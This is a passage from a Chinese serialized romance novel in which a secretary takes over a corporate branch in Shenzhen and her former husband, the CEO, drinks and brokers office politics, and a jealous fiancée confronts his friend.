商音毫不夸张地说,“我觉得贺忱不正常,我怕他闹幺蛾子,若有事你及时给我打电话,我去救你。”
沈渺应了声,转身上楼。
平底鞋踩在光滑的地板上发出细微的声音。
伴着她规律的心跳声,声声起伏。
“沈秘书!”
前台看到她,惊喜又意外地打招呼,“你回来上班了?”
沈渺放缓脚步,朝着前台颔首。
“来拿调职书。”
前台点着头,朝她笑着,待她一转头,立马就离开工位去传播消息。
沈渺乘电梯上楼,过了上班地点,电梯里没人。
她直奔人事部,拿调职书。
郭经理亲自把黄色牛皮纸袋交给她,脸上挂着恭维的笑容。
“恭喜沈秘书高升,以后有机会常回来看看,再联系!”
“郭经理客气了。”
沈渺垂下眼帘看了眼牛皮纸袋,与郭经理寒暄着。
“调职书下来得比较急,贺总还没签字,你上楼跟贺总告别时,顺便就签了。”
郭经理送她到门口。
沈渺,“好,谢谢郭经理。”
她转身进入电梯,电梯门合上的一瞬间,她迅速拆开牛皮纸袋,拿出调职书。
深城,南方总部总经理职位。
百荣的分公司遍布各地,北方以百荣为首,可南方距离遥远群龙无首,有些事情贺忱赶不及处理。
前两年贺忱在深城建立总部分部,管理南方分公司,前段时间刚刚成立。
这个职位,含金量极高。
沈渺配不上。
不是她的能力不配,而是她的背景不配。
做贺忱的秘书,是打工牛马界的天花板。
小分公司的总经理,算是高管牛马的天花板。
可这是总部分部的总经理,已经跳脱了牛马圈子。
她面临的将会是百荣董事,商圈大佬,能完全代表百荣了。
‘叮’
电梯门开了。
沈渺还拿着调职书愣在原地,随着电梯门缓缓打开,男人颀长的身影映入眼帘。
贺忱刚出办公室,浅灰色的西装裹身,修长肆意的身影站在那里。
他深谙不可见底的眼眸,刚好朝沈渺看过来。
148.你完完全全是我的人、离婚的补偿
“沈秘书……哦不,沈总,是来调职的吧?”
林昭跟在贺忱后面,他看到沈渺眼睛闪烁几下。
一闪为沈渺高升。
二闪为沈渺终于要走了,危机算是解除了吧?
沈渺人没出电梯,站在原地没动。
隔了几秒,电梯门缓缓自动合上。
她回过神,连忙摁下按钮,走出电梯。
“贺总,林助。”
沈渺站到贺忱面前,她低头看了看调职书,“我……”
“进办公室说。”
贺忱将文件交给林昭,折身进入办公室。
林昭接了文件,冲沈渺使眼色,低声说,“只要贺总签了字,你就能走!”
贺忱一定会签字的。
沈渺点了下头,她抬脚进入办公室。
那日办公室的杂乱已经消失不见,恢复整洁干净。
贺忱靠在办公桌边上,手里拿着笔,正在等她。
“贺总,你要不要再考虑考虑。”
换做以前,就算配不上这个职位,沈渺逮住机会能走也就走了。
可是如今贺忱已经知道她怀孕,就算危机还在——
可她也不能这么不明不白地走。
“之前深城那边负责人,您内定的人选是韩董的儿子。”
韩董在百荣相当有分量。
他儿子实力虽然差了点儿,但是背景很硬,足够坐这个位置。
“韩董前段时间去了深城一趟,他带他儿子见了几个商圈大佬,背着我。”
贺忱言简意赅。
深城分部主管南方分公司,是能跟贺忱平起平坐的存在。
一旦韩董的儿子有了足够的人脉和资源,有了外心,对贺忱是很大的威胁。
不,在韩董带着他儿子背着贺忱去深城见商圈大佬铺路时,就已经暴露外心了。
沈渺愕然,商场如战场。
贺忱坐到今天这个位置上不容易,未来想坐稳不能只靠能力。
还得靠未卜先知,靠解决隐患。
“您说的是,确实该换人,但我真的不适合。”
“选你,是因为你背景足够干净,你完完全全是我的人。”
贺忱朝她伸出手来,“当做,离婚的补偿。”
‘你完完全全是我的人、离婚的补偿’。
这些字眼,像是冲着沈渺的软肋扎的一样,让沈渺无从反驳。
她坐上这个职位,不服她的人数之不尽。
她的靠山是贺忱,只能依靠着贺忱坐稳这个位置。
与其说是贺忱给她的补偿,不如说是互惠互利,他信任她,需要她稳住他的‘江山’。
沈渺看着他伸过来的宽厚大掌,沉吟片刻,她将调职书递过去。
贺忱拿过调职书,在最后一页签下龙飞凤舞的几个大字。
秘书,妻子,前妻,下属,他的得力助手。
他们所有的关系的决定权,最后都在贺忱手里。
他给出的理由很充足,沈渺找不到理由拒绝。
片刻,贺忱将调职书重新递给她。
“剩下的事情让林昭安排。”
他唇瓣微动,‘一路顺风’几字,却是未能说出口。
“谢谢贺总这几年的关照和提拔,再会。”
沈渺微微颔首,马尾在她肩头滑落,露出光滑白皙的脖颈。
贺忱拢着眉,“走吧。”
说完他折回办公桌前坐着。
沈渺站直身体,低垂着眼帘未曾再看他一眼,转身离开。
办公桌前的男人单薄的眼皮垂着,轻颤了几下终归还是没掀起来。
不过十几分钟,沈渺从公司出来,回到商音的车上。
“顺利吗?”
商音收起手机,朝她倾斜身体,眼巴巴看着她。
沈渺颔首,“顺利。”
“去哪儿!?”商音肉眼可见的激动起来。
沈渺,“深城。”
商音嘴角一扯,笑容荡然无存,“深城有分公司吗?”
“刚成立,那是分部,统管长江以南所有的分公司。”
沈渺言简意赅。
“啊!?”商音惊呼了一声,“你,以后跟贺忱平起平坐了啊?”
沈渺系好安全带,“走一步看一步,先走再说。”
商音坐直身体,发动引擎,一脚油门踩下去。
“说的也是,离开京北这事儿拖这么久,现在终于落实了,回去收拾东西,什么时候走?”
沈渺,“林昭定的两天以后的票,我让他帮你也定了一张,回头把钱转给他,我们一起走。”
两天的时间很紧张,毕竟要去千里之外,她们要安排好在京北的一切。
两人去了一趟卷卷的学校,卷卷已经恢复校园生活了。
商音查了半天,也没查出浅姨把钱花哪儿了,她买通了经常来孤儿院的义工,盯着浅姨的一举一动。
商音把行李打包好,提前邮寄到深城了。
“可惜了,月嫂离不开京北,等到了深城只能再重新找,可那样的话我就先工作不了了。”
沈渺收拾着东西,听她唉声叹气的,安慰道,“没事,我的工资很高,能养得起你。”
她的薪资翻了五倍,月薪六位数。
这是她不顾一切,会接受这份工作的主要原因之一。
她和商音,都需要钱。
“那我们娘俩先靠你这个大肚婆养着了,到深城以后你负责赚钱养家,我主内,找保姆再提前找月嫂……”
商音抱着商商,狠狠亲了一口。
“商商,咱们终于要走了,未来一段时间靠干妈养着,以后她给你生个媳妇,你可不能欺负……”
沈渺将几件职业装撞入行李箱,突然掉落一张白色的纸。
纸张边缘磨损严重,但依稀能看出被保存得很好,干净整洁。
她蹲下捡起那张纸打开。
【早餐在桌上。】
没有落款,可沈渺一眼就认出,这是贺忱的字迹。
他们结婚那两年,贺忱唯一一次早起,给她留的纸条。
她看了一遍又一遍,然后小心翼翼地收藏起来,时不时就拿出来看一眼。
沈渺的心被狠狠揪了一下。
商音在哄孩子,并未注意到她的异样。
“你的身份随着水涨船高,就算有了孩子,也一定有不少追求你的,再遇到合适的,能结婚就结婚,你像温室里的花儿,得被人娇养,不像我,脱缰的野马,就适合自由……”
在她的絮絮叨叨中,沈渺秉着一口气,将那张纸攥成一团,丢入了垃圾桶里。
早就该扔了,现在扔……也不迟。
两天后,飞往深城的飞机上。
沈渺将手机关机。
再见,京北。
再见,贺忱。
149.离开的第一天,贺忱深夜来酒吧买醉
“大半夜的不睡觉,抽什么风。”
秦川穿着睡衣,上了家门口贺忱的车。
“安全带。”
贺忱薄唇轻启,丢出三个字,一脚油门踩下去。
秦川一脸诧异着,扯过安全带系上。
“去哪儿?”
“到了你就知道了。”
贺忱骨节分明的手,掌控着方向盘。
车辆在一簇簇霓虹灯照耀的道路上飞速行驶。
一个小时后,京北市中心SuperMiami夜店。
整个厅被五光十色的灯光笼罩,奢靡淫乱的气息迎面扑来。
贺忱与秦川进了二楼一处包厢,能看到整个场所的景象。
关上窗,震耳欲聋的音乐隔开来。
“来这地方,你至少要告诉我一声,我好换套衣服。”
秦川看着自己身上酒红色的真丝睡衣,虽然门口的保安没拦着。
可但凡他走过的地方,都要被人多看两眼,比起那些穿着异类的人,他才像个怪物。
“喝点。”
贺忱指了指桌上高浓度的酒,“就当给你回国接风了。”
秦川:“……”
是给他接风,还是给某些人送行?
哦,某些人不在,那还真是给他接风了。
他忍不住说了句,“我都回来很久了,而且我们一起吃过饭了。”
“哪里那么多废话。”
贺忱拿起整瓶的伏特加,朝秦川丢过去。
秦川下意识接住,盛情难却下,开瓶给自己倒上了一杯。
还不等喝,突然听贺忱问,“你师父算是国外内业界内最好的医生了吗。”
昏暗的包厢,一盏暖灯在贺忱头顶亮着,笼罩着他整个人。
他那双深沉的眸子被上眼睑倒映下的影子遮住情绪。
秦川目光闪烁了下,轻抿了口酒。
“天外有天人外有人,你可以再找找。”
贺忱下颚线条清晰,拧着眉的样子,显得面部紧绷。
“你师父说,神仙来了也没办法。”
“如果治好了她,你还娶不娶。”
秦川问得很直白。
贺忱眉尾一扬,他墨色的瞳仁是令人琢磨不透的深沉。
“你觉得,我找医生是图什么?”
秦川,“那你怎么不早点找。”
贺忱眉骨一拢,“当初是你跟我说,没有痊愈的几率。”
现在,跟他说再找找医生,人外有人天外有天的,还是秦川。
“我的。”秦川将杯中酒倒满,朝他抬了抬,一饮而尽。
他辜负了贺忱的信任。
贺忱至今,也未曾怀疑过他任何。
“少废话。”
秦川拿出手机,往贺忱的微信上转了几个名片。
“这些都是医学界的翘楚,跟我师父不相上下,你可以试试。”
贺忱扫了一眼,挨个给林昭转发过去,让林昭去联系。
“听说沈秘书去深城了。”
秦川转移了话题,“你提拔她坐镇深城分部,百荣这边有办法交代吗?”
贺忱,“交代什么?公司上下我说了算,谁不服谁把我拉下台。”
他算是打蛇打七寸,捏准了董事们没有人有那个资本接手百荣。
短短几年,他带领百荣创下有史以来多少利润新高,在业界内的突破更是突飞猛进,将百荣一度推向新高度。
最不满的,要数明黎艳。
他手机上,至今还有数十个未接来电,全都是明黎艳打来的。
“结婚的事情,你考虑清楚。”
秦川倾身,碰了下他的杯壁,“我不认为你这样的选择是正确的。”
贺忱端起酒杯,指骨分明的手轻轻擦着杯身。
他的喉结滚动,却是没说什么,仰头将杯中酒全部喝了。
包厢里一片死寂。
门外突然传来一阵阵杂乱。
“反正贺忱这次,是搬起石头砸自己的脚,董事会对他不满,程家那边也不高兴,我要看看他怎么收场。”
接着何之洲幸灾乐祸的声音响起,“你们就等着看吧,好戏还在后面呢,他那个秘书……”
声音渐行渐远,后面何之洲又说了什么,听不见了。
贺忱提拔沈渺当分部总经理,震惊了整个商圈,成为了商圈人茶余饭后的话题。
秦川眸光微动,他反复回想着何之洲的话。
“何之洲最近好像挺老实。”
贺忱眸光郁郁,“忙着相亲,没空出来捣乱。”
秦川‘哦’了一声。
两人一言不发,你一杯我一杯地喝着。
喝到最后,秦川歪七扭八地倒在沙发上,被贺忱架着胳膊,走出夜店。
他搀扶着秦川在路边等着时,何之洲带着一群二世祖,也出来了。
何之洲喝了不少,被几个人架着,踉踉跄跄的。
一双醉意很浓的眼睛看到贺忱后,一下清明了不少。
他推开身边的人,歪歪扭扭朝贺忱走过去。
其他人试图拉住他,却被他给拨弄开。
“贺,贺忱!”
何之洲摇摇晃晃,指着与贺忱错开几个身位的地方。
“你,你晃什么?见了我,腿软站不稳了啊?”
二世祖们:“……”
没眼看,他们想拉着何之洲别去丢人,拉不住也不敢上前去,生怕惹了贺忱不痛快。
贺忱架着秦川,嘴里咬着烟,深邃的五官在浓夜更为深沉。
他将烟支拿下来,扯了下何之洲胳膊。
何之洲伸出来的手指头,这才正对着他胸口。
“你干什么?”何之洲把手缩回来,像是才看到秦川,他瞪大眼睛看了看,后退两步。
“你怎么又跟这死基佬混在一起?你老实说,放着沈渺那么好的女孩子不要,是不是跟秦川有一腿?”
‘死基佬’。
贺忱的眉头一拧,抬起脚朝着何之洲的肚子狠狠踹了一脚。
何之洲一屁股坐在地上,肚子绞痛,他捂着肚子就开始在地上打滚。
“贺忱,你王八蛋,你欺负喝多了的人,你信不信我上你家找你妈……”
二世祖们:“……”
终于有人看不下去了,小跑着上前把何之洲扶起来。
“贺总,抱歉,他喝多了,口出狂言,我们这就带他走,不打扰您了。”
两个架着何之洲的人比他还高,他双脚离地一个劲儿地倒腾,“哎,哎我怎么会飞了?”
林昭开了车过来,贺忱掐灭了烟丢入垃圾桶里,将秦川放在后座,自己则去了副驾驶。
“贺总,去哪里?”林昭指的是,把秦川送到哪里。
贺忱捏了捏眉骨,靠在驾驶位上闭目养神,“回我那儿。”
林昭,“是。”
不远处,何之洲上了何家司机的车。
他刚上去,就从口袋里掏出手机,拨出一通电话去。
“沈渺,对不起啊,我欠你一句道歉,我真的没有看你笑话的意思,我只看贺忱的,你知不知道,你离开的第一天,贺忱深夜来酒吧买醉……”
150.谢谢贺总关心,适应
深夜,沈渺还没睡。
明天第一天去公司报道,她跟商音今天才在深城落脚。
花了一天时间,把家里收拾好,商音带商商去睡觉,她则是看了些跟分部有关的资料和各部门职员简历,做初步了解。
她离开京北之前,何之洲一直给她发消息、打电话解释浅姨的事情。
她都不接,不回。
刚刚手滑接了,是怕铃声吵醒了刚刚睡着的商商。
听到何之洲醉哄哄的语气,她正想挂电话。
听到贺忱,她手指收拢,停下了动作。
“何总,你喝多了。”
何之洲打了个酒嗝,“酒后吐真言,我是真的知道错了,我求你了,你别不理我,我想,想跟你做朋友!”
沈渺懒得跟一个酒鬼扯皮。
“好,做朋友,现在你喝多了,早点回家休息。”
“这话可是你说的,身为朋友,我提醒你,你的情敌除了程唯怡,还多了一个死基佬,就那个秦川,我猜他喜欢贺忱,贺忱刚刚为了他踹我一脚,不会被他给掰弯了吧?”
何之洲断断续续,说的话勉强能拼凑起来。
若不是沈渺早就知道秦川的故事,她怕是听不懂。
她将手机放在一旁,调到最小音量,继续工作。
何之洲的声音还断断续续地传来。
不知过了多久,电话那端没了声音,却还未挂断。
沈渺拿过手机挂电话,起身回房间上床。
房子是公司提供的,复式两居室,她住在一楼,商音带商商住二楼。
那母子两个早就睡着了,周围静悄悄的。
躺下的沈渺却翻来覆去的睡不着。
何之洲的话回荡在她耳边。
“你知不知道,你离开的第一天,贺忱深夜来酒吧买醉……”
沈渺跟了贺忱这么久,除了必要的应酬外,从未见他去过酒吧。
或许,今天是有应酬。
这样的念头还未落地时,她的手机忽然响了一声。
【还适应吗。】
是贺忱发来的短信消息。
他们有微信,大部分时间贺忱都会在微信上交代工作。
结婚那两年,每逢家宴回老宅时,贺忱会给她打电话,或者发短信消息。
她摸准了这个规律,微信是公事,短信或者电话是私事。
那今天这条短信——
沈渺逐字逐句地拼凑着适当的话,回消息。
可她删删减减,又打出一堆字,最后一键清空,关了手机。
正常人这个点都睡了,她明天一早再回。
可她为什么不今晚回?
黑暗中,一个又一个的疑问,在沈渺的脑袋里蹦出来。
她缓缓睁开眼睛,轻咬着内唇。
良久,她重新拿过手机,回了两句话。
【谢谢贺总关心,适应。】
官方客气的腔调,没再换来男人回复的音讯。
临近天亮,沈渺睡过去。
被闹铃吵醒,她起床洗漱,化了个淡妆换上一套深灰色的连衣裙。
做了两份简易早餐,把商音那份留在锅里温着,她吃饱后出了家门。
百荣分部伫立在深城商业街中心。
高耸入云的大楼十分耀眼,清晨的阳光照在上面,闪闪发光。
门口一群西装革履的人站在并成一排站在那里等着。
出租车停在门口时,立马有保安上前来,打开车门。
沈渺下车,脚跟刚站稳,一个约莫五十来岁的男人快步上前来。
“沈总,我是分部暂时负责人小韩。”
韩文松不卑不亢,说话时带着几分架子。
许是没想到沈渺这么年轻,他忍不住多打量了两眼。
“韩经理。”沈渺微颔首,然后看向公司门口一众高层,“各位好,我是沈渺,以后请多多关照。”
“沈总好。”
“沈总好……”
此起彼伏的打招呼声,有气无力。
看似站在这里恭候,给足了沈渺这个空降的负责人面子。
实则,就只是面子工程,毫无诚意。
沈渺早就料到这一幕了,她拎着公文包进公司。
“半小时以后开会,先让人事部经理过来一趟。”
韩文松与她并肩前行,说了句,“上午九点各部门开部门会议,您要不再晚些?现在公司人员紧缺,人事部经理一早就组织员工去校招了。”
他一连拒绝了沈渺的两个请求。
沈渺抬起手腕看了一眼,现在是八点半。
她停下来,看向韩文松。
“那韩经理安排一下,各部门开会的时候,我干什么。”
韩文松,“您可以了解一下分部这边的情况。”
沈渺,“昨晚已经了解过了,韩经理是韩董的侄子,原本韩董的儿子过来接手,是打算让你做副总经理的,但现在韩董的儿子没过来,你的副总经理位置也泡汤了,但你别不高兴,干好了我也会提拔你。”
打个巴掌,给个甜枣。
韩文松一把年纪了,对着沈渺这个小丫头俯首称臣,自然是不甘心的。
可是内心的不愉快被戳破,还得到了干好了会被提拔的允诺。
他想翻脸就成了不知好歹,还落实了自己的不痛快。
“沈总说笑了,那我现在就去通知各部门来开会。”
人事部的人出去校招,流程已经提前规划好,回不来。
当天上午的会议,人事部无一人参加。
沈渺了解了一下公司各部门的主管,部分跟提前调查的资料上有出入。
大部分都在她预料之内。
会议结束,她准备回办公室时,韩文松又跟过来了。
“沈总,这是小周,您的助理兼秘书。”
沈渺回头,才看到韩文松身边还有个约莫二十多岁的年轻男人。
男人五官端正帅气,看外表像男大,透着荷尔蒙的阳光气息。
“沈总,我叫周敬才。”
周敬才朝沈渺露出一个灿烂的笑容,“没想到沈总这么年轻漂亮。”
沈渺浅笑了下,“过奖了,你也年轻帅气,来我办公室一趟吧。”
说完,她朝韩文松颔首,算是打过招呼,继而朝办公室走。
周敬才看向韩文松,韩文松朝他使了个眼色,他立马跟上沈渺。
办公室里,沈渺坐在办公桌前。
周敬才拿着行程表汇报,“今天晚上有一场商业酒会,是深城高家知道您过来,特意举办的,想与您结识一下。”
深城是高家的天下,百荣在这儿建立分部,给高家带来了威胁。
“我替您拒绝了?”周敬才反问。
“答应,今天晚上你跟我去,替我挡酒,没其他事你先出去,让人事部经理回公司立刻来我这儿一趟。”
沈渺言简意赅道。
151.有任何需要,直接给贺总打电话
周敬才静默数秒,蹦出来一句,“沈总,见人事部经理干什么啊?”
“怎么?怕我辞退你?”
沈渺一语戳破他的心思。
周敬才立马笑起来,“怎么会,沈总这么年轻漂亮又聪明大义,肯定不会无缘无故开除人。”
“出去吧。”
糖衣炮弹般的话,并未在沈渺心里泛起涟漪。
她开口赶人,周敬才一步三回头,没找到借口留下,不得不离开了。
临近中午,人事部经理姗姗来迟。
“抱歉沈总,不知道您今天就过来,校招是一个星期前定下的行程了。”
赵娜约莫四十来岁,微胖,典型的商业型女人。
鼻梁上架着黑色粗框眼镜,镜片下的双眼小却透着精光。
“没关系,工作重要。”
沈渺打量她一番,问道,“校招得如何。”
赵娜摇头,“现在的大学生眼高手低,觉得自己读了大学值月薪十万,没有太合适的。”
“我想要个秘书。”沈渺直入主题。
“没招到。”赵娜听似无奈的语气,却带着理直气壮。
沈渺,“你去给总部打电话,让他们把秘书办的李白恬调过来跟我。”
赵娜一怔,“这……人家愿意这么远过来吗?”
“让你去你就去。”沈渺一双眼眸明亮透彻。
她那张脸太好看,好看到有攻击性,再凝重严肃起来,给人一种无法抗拒的服从感。
赵娜低了低头,“我尽快在这边……”
“你跟的是百荣,百荣姓贺,给你发工资的,捏着你劳务合同的全都是贺忱,认不清你的老板是谁,人事部经理的位置,你就坐到头了。”
沈渺打断她,严词厉行。
赵娜脸色一阵清白交加,“沈总,你说什么我听不懂,你刚调过来就往总部要人,好像我这个人事部经理很无能一样,您要秘书我给您招……”
“既然你也知道自己无能,那就走吧。”
沈渺打开右手边抽屉,拿出解约书,放在赵娜面前。
“我跟公司签的是长约,你不能解雇我。”
赵娜脸色微变,随即态度强硬起来,“你新官上任三把火,也不能随便烧,我一没犯错二没招惹你!”
沈渺站起来,双手撑在桌子上,微微向前倾身。
“你入职后因公谋私安排了数十名员工入职,小到后勤大到高层,违反了公司规定,不仅要开除你,还要求你返还两个月的工资,如果你有异议,那就再追加一笔违约赔偿费用。”
随着她一字一顿,赵娜脸色逐渐苍白,肉眼可见的慌了。
她说完,办公室安静下来。
一片死寂。
赵娜探究的眼神打量沈渺,试图从她脸上找到一丝吓唬人的痕迹。
可完全没有,沈渺不是开玩笑的。
“沈总,我……我身在其位,也没办法!我求您给我一次机会,别开除我行吗?我一定听您的!”
赵娜语气骤变,脸色由煞白逐渐涨红。
她虽然比沈渺年长,可在商圈摸打滚爬这么多年,能坐到人事部经理的位置上,也很不容易。
若失去了这份工作,那她前面几十年的努力,都是一场笑话。
“行,那你暂时留下。”
沈渺把解约书拿回来,放回抽屉里,“跟我说说现在公司什么情况。”
她态度转变之快,仿佛刚刚的剑拔弩张不存在。
赵娜恍惚了下,又有点羞恼。
“赵经理,我说的是你暂时留下。”
沈渺提醒着她。
她不是吓唬赵娜,只是将事实摆出来,让赵娜选跟谁。
谁决定赵娜的去留,赵娜的心里再清楚不过了。
最终,赵娜败下阵来。
公司几个高层,都是韩董提前安插进来的人。
沈渺这个总经理,目前处于被架空的状态,手里根本没有实权。
“我知道了,你出去吧,别忘了跟总部申请把李白恬调过来。”
李白恬愿意跟着她来深城闯闯,她来之前就为这事儿找过她一次。
当天下午,赵娜发了让李白恬调职过来的申请。
郭经理收到后,第一时间向上汇报。
林昭来到贺忱办公室,如实汇报。
“只怕,分部那边情况不容乐观,沈秘书连个用着趁手的人都没有。”
贺忱右手翻动文件,左手指缝里夹着一根烟。
他眉心紧拧不松,“给她,让她有任何需要,及时跟你联系。”
“是。”林昭颔首,复又说了句,“贺总,吸烟对身体不好,现在没重要的工作处理了,您要不到休息室睡会?”
昨晚贺忱跟秦川喝酒到半夜,今天一大早就来了公司。
相比现在还在床上躺着的秦川,他就像打了鸡血一样。
若不是眼底泛着红血丝,根本看不出他几乎一夜没睡。
“不用。”
贺忱吸了口烟,雾气在他薄唇里溢出,“让她有任何需要,直接跟我联系。”
他改了口。
林昭顿了下,才反应过来他的意思,立马颔首。
“是,贺总。”
林昭离开办公室,先找李白恬通知调职的事情后,才让郭经理办理调职手续。
当天下午,李白恬就拎着行李箱,上了去深城的飞机。
沈渺先接到了李白恬飞机起飞之前发来的消息,叮嘱李白恬路上小心后,又接到了林昭的电话。
“沈秘书,李白恬已经去深城了,不问意外明天就能上班,贺总说了,让您有任何需要,直接给他打电话。”
林昭一五一十的转述。
“给他打电话?”
沈渺那句‘知道了,谢谢’,被这惊讶到脱口而出的五个字堵在喉咙里。
“是,深城情况不容乐观,贺总担心您一个人在那边有突发情况。”
林昭解释。
沈渺一阵沉默后说,“好,放心,这边目前看来情况还不算太糟糕。”
之前韩董儿子上任是板上钉钉的事情,韩董只安插了几个能力好的心腹辅佐。
后来许是察觉到贺忱有换人的意图,韩董情急之下插人进来,安排上有很大的漏洞。
这漏洞,就是沈渺反转的好机会。
“帮我跟贺总说声谢谢。”
她清脆悦耳的声音,在偌大的办公室里蔓延开来。
林昭的手机开着免提,放在办公桌上,暗掉的屏幕倒映着的,是贺忱轮廓分明的面容。
听到沈渺的话,他眸光一沉,却是始终保持着安静。
152.程唯怡的检查报告,好像有些问题
“好。”
林昭一边打量贺忱脸色一边回答。
见贺忱没有开口的打算,他又说,“沈秘书,在深城照顾好自己,有事再联系吧。”
“好,再见,林助。”
沈渺感觉怪怪的。
林昭只有在贺忱面前时,才像个机械人。
私下还是很随和的。
她轻抿着唇瓣。
那端,林昭刚把手机拿起来,就接到贺忱甩来的一个刀子眼。
他表情一僵。
“贺,贺总,您还有事吗?”
贺忱,“你有事?”
“没……”林昭忙不迭摇头,冷不丁对上贺忱森冷的目光,他磕巴了下,“有……还是没有啊?”
“滚。”
贺忱薄唇吐出一个字,将手里堆积了一截烟灰的烟支,怼灭。
他起身,拿过椅背上的外套,阔步离开,回家。
半路上,他给秦川打电话。
“晚上喝点,吃什么,我现在订。”
秦川,“我在医院。”
贺忱,“你走了?等下班再回来。”
“不了,晚上有台手术。”
秦川拒绝道。
“手术到几点?”
“烟酒不是好东西,适量可以但不能过量,你收敛点。”
贺忱那话一出,秦川就知道,贺忱还是想跟他喝酒。
吃什么不重要,重要的是一起喝酒。
“哪里这么多废话。”
贺忱嗓音不虞,“你下班过来,还是我去你家等。”
秦川,“这么晚了,我们见面不合适。”
“两个光着屁股长大的男人,你告诉我半夜见面不合适?”
贺忱嗤笑了声,“少废话,下班到我家来,还是我去你家等。”
诸如此类的事情,在秦川出国前,他们不知干过多少次了。
那端静默数秒,秦川才说,“沈渺一走,你的状态直线下降,上次半夜给我打电话,还是你决定跟程唯怡在一起的时候。”
车窗外喧嚣的声音传入耳蜗,贺忱操控方向盘的手指微微拳拢。
一片死寂后,他骂了句,“都说外国人爽快,你出去几年怎么学了一身墨迹回来?”
秦川沉默。
贺忱挂电话之前,不解气地骂了句‘滚’。
饭局泡汤,但酒局没散,他回到家中,直接拆了一瓶红酒,独自浅酌。
偌大的别墅,静得落针可闻,酒水划过他喉咙的沉闷声不绝于耳。
乍然响起的铃声,打断了这股沉寂。
贺忱推开阳台门进来,拿过手机看了一眼。
是程唯怡。
隔了几秒,他滑动屏幕接起。
“贺忱哥,明天你有时间吗?我们去看一下酒店?”
程唯怡有些捏着嗓子说话,透出几股小女人柔和,在深夜显得很撩人。
贺忱嗓音一如既往地漠然,“你定就好。”
“可是我妈和伯母的意思,是我们一起去。”
程唯怡顿了顿,又说,“你是不是还在为了沈渺的事情生气?你把她提拔到分部做总经理,算是补偿她了,这件事情就不能过去吗?”
贺忱,“你想多了,我有工作要处理。”
“你昨晚跟秦川在酒吧出来,被媒体拍到了,幸好我爸提前一步知道消息,不然今天……你们就要上新闻了。”
程唯怡顿了下,提醒道,“你还是离秦川远一点。”
秦家人以秦川为耻,整个上流圈子里的人,都对他避之不及。
偏偏贺忱跟他打小的交情,从未变过。
“还有其他事情吗。”
程唯怡,“我爸费了好大的力气,才把新闻压下去。”
“下次别压,我贺忱向来身正不怕影子斜。”
贺忱并不领这个情。
程唯怡语气迫切,“你就不怕秦川他——”
“唯怡。”贺忱的嗓音徒然冷沉下来,这种话,不该从你嘴里说出来。”
程唯怡跟他和秦川,是一起长大的。
程唯怡一下噤声。
没几秒,贺忱挂电话。
忙音阵阵传来,程唯怡青着脸色,把手机狠狠丢在床上。
“怎么?”孙易琴站在门口,见她扔手机快步进来,“他拒绝了?”
“他说工作忙。”程唯怡不知多少次被这话敷衍过了。
孙易琴欲言又止,片刻她叹息一声,耐着性子劝。
“百荣很忙的,好歹沈渺走了,没有人会再碍你们结婚的路,你——”
“可现在还有一个秦川。”
程唯怡抬起头来,她看着孙易琴,“昨晚贺忱哥跟秦川去喝酒,半夜才从酒吧出来,我有朋友看见了,拍了照片给我,你看!”
她转身拿过手机,翻出照片拿给孙易琴看。
“你这——”孙易琴一脸无奈,“秦川跟他爸一样,都是同性恋吗?你跟他认识这么多年,不知道吗?”
程唯怡低声吼道,“我就是知道,才要防!”
她这话一出,孙易琴的脸色都变了,“真的啊?”
“哎呀,跟你说不清!”程唯怡推开她站起来,进衣帽间换了套衣服。
再出来时,她已经换了一套浅粉色连衣裙,“我去找秦川一趟。”
四十分钟后,医院。
夜晚的医院很是寂静。
程唯怡的高跟鞋踩在走廊,发出‘哒哒哒’的声音。
‘砰’
秦川刚脱下白大褂,诊室门猛地被推开。
他循声望去,不等看清楚来的人是谁,脸上就挨了结结实实一巴掌。
‘啪’!
“秦川,你最好离贺忱哥远点!”
程唯怡翻出昨夜醉酒的照片,怼到秦川面前,“以后你再单独去见他,我不会放过你的!”
秦川冷白的脸上浮着深红色的巴掌印。
他偏着头,瘦削的脸型轮廓分明,一抹郁色突然涌上来。
他冰冷的眼神蓦地看向程唯怡。
“程唯怡,忘了老子跟你说过的话了是吧?”
对上他的眼神,程唯怡的气焰一下散去大半。
但她梗着脖子说,“我,是你忘了我说过的话!你知不知道,我一想到你就恶心,我——”
她的话还没说完,却见秦川掏出手机来,拨出一个号码。
细微的忙音声传来。
程唯怡立马压下声音来,“你干什么?你给谁打电话,你——”
“说。”
电话被接通,免提下,贺忱的声音分外清晰。
程唯怡顿时噤声。
“之前程唯怡的检查报告,好像有些问题,我建议你找医生重新给她做一个全面的检查,如果后续有需要,我帮你联系专业的医生,我现在去你家,面谈。”
秦川一口气说完,拿过椅子上的外套,径直朝外面走去。
153.你真是连沈渺的一根头发丝都比不上
电话没挂之前,程唯怡追着秦川出来,拉拉扯扯,却一点声音不敢发出。
直到秦川挂了电话。
他将手机放入口袋,看向拦在自己面前,面色浮上慌乱的程唯怡。
“你——我们鱼死网破,有什么好处?秦川,你这样做会后悔的!”
“我不后悔,大不了就是跟贺忱翻脸,至于我的名声早就已经不重要了。”
秦川冷着脸说。
闻言,程唯怡态度软下来。
“刚刚是我太冲动了,我承认是我——”
秦川,“程唯怡,我不打女人,但我不是纸糊的,欠我的两巴掌,你今天在这里还了,不然就走着瞧。”
还?怎么还?
他不打女人,那就程唯怡自己打吗?
程唯怡喉咙一堵,手心滚烫发麻,是刚刚打秦川用了十足力气的缘故。
秦川的半张脸还红着,阴郁的脸色让他看起来有几分吓人。
“我……”程唯怡哆嗦了下。
若不是她捏着秦川最在乎的东西,只怕秦川早就把她撕碎了!
秦川见她没有立刻动手,越过她朝电梯走。
就在他准备进电梯时,身后传来‘啪啪’两个巴掌的声音。
他停下来,回头看过去。
程唯怡脸上两个鲜红的巴掌印,涨红的脸色是被打的,也是羞耻的。
秦川进入电梯里,他瞥了程唯怡一眼。
“程唯怡,你真是连沈渺的一根头发丝都比不上,我等着看你怎么把自己作死的。”
缓缓关上的电梯门,挡住了程唯怡一瞬间爆发的嫉妒心。
她哪里比不上沈渺了!?
一个孤儿,一个秘书,天生的牛马命!
她可是程家唯一的女儿,跟贺忱一起长大的!
秦川跟沈渺接触的次数屈指可数,他怎么就觉得沈渺比她好了?
冰冷的电梯门上,折射着她铁青却又涨红的脸色。
“沈渺,等我跟贺忱哥结婚的那天,我一定让你滚出百荣!”
沈渺坐深城分部总经理的位置,她很不满意。
但至少沈渺是离开了,她提着的心落下些。
深城……程唯怡想起什么似的,掏出手机拨出一通电话。
“珊珊,你从国外回来了吗?回深城了是吧?改天有机会我去找你玩啊,对,快结婚了,到时候你来当我的伴娘啊,没关系的,我不介意已婚的人来当伴娘,谁让我们是最好的朋友呢……”
——
